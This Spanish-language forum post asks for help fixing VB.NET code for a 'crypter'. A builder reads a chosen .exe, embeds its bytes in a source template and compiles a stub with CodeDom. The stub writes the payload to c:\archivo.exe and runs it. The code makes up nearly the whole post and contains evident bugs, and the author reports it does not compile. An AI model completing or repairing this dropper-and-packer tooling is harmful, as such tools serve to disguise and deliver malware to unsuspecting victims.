Hola. esto es lo que tengo en el evento button_click
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim open = OpenFileDialog1
open.Filter = "Executables *.exe|*.exe"
Dim save = OpenFileDialog1
save.Filter = "Executables *.exe|*.exe"
open.ShowDialog()
Save.ShowDialog()
Dim st As System.IO.Stream = System.IO.File.Open(open.FileName, _
System.IO.FileMode.Open, System.IO.FileAccess.Read)
Dim br As New System.IO.BinaryReader(st)
Dim read() As Byte = br.ReadBytes(st.Length)
br.Close()
st.Close()
Dim source As String = My.Resources.source
Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
Dim cadena As String = enc.GetString(read)
source = source.Replace("%3%", cadena)
iCompiler.GenerateExecutable(SaveFileDialog1.FileName, source, "")
MsgBox("Crypted!", MsgBoxStyle.Information, "Success!")
End
End Sub
End Class
Y este es el modulo que compila y crea el ejecutable. (SACADO DE CODEDOM CRYPTER)
Imports System.CodeDom.Compiler
Public Class iCompiler
Public Shared Sub GenerateExecutable(ByVal Output As String, ByVal Source As String, ByVal Icon As String)
'On Error Resume Next
Dim Compiler As ICodeCompiler = (New VBCodeProvider).CreateCompiler()
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults
Parameters.GenerateExecutable = True
Parameters.OutputAssembly = Output
Parameters.ReferencedAssemblies.Add("System.dll")
Parameters.ReferencedAssemblies.Add("System.Data.dll")
Parameters.ReferencedAssemblies.Add("System.Windows.Forms.dll")
Dim Version = New Dictionary(Of String, String)
Version.Add("CompilerVersion", "v2.0")
Dim ICO As String = IO.Path.GetTempPath & "\iCompiler.ico"
If Icon <> "" Then
IO.File.Copy(Icon, ICO)
Parameters.CompilerOptions &= " /win32icon:" & ICO
End If
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
If cResults.Errors.Count > 0 Then
ElseIf cResults.Errors.Count = 0 Then
End If
If Icon <> "" Then : IO.File.Delete(ICO) : End If
End Sub
End Class
Y esto es lo que pone en el archivo de recursos txt. (LO QUE QUIERO COMPILAR)
Imports System, Microsoft.VisualBasic
Module uno
Sub Main()
Dim enc As System.Text.Encoding = System.Text.Encoding.ASCII
Dim bytess() As Byte = enc.GetBytes(%3%)
IO.File.WriteAllBytes("c:\archivo.exe", bytess)
Call Shell( "c:\archivo.exe")
End
End Sub
End Module
No tengo ni idea de por que no me lo compila. alguna sugerencia?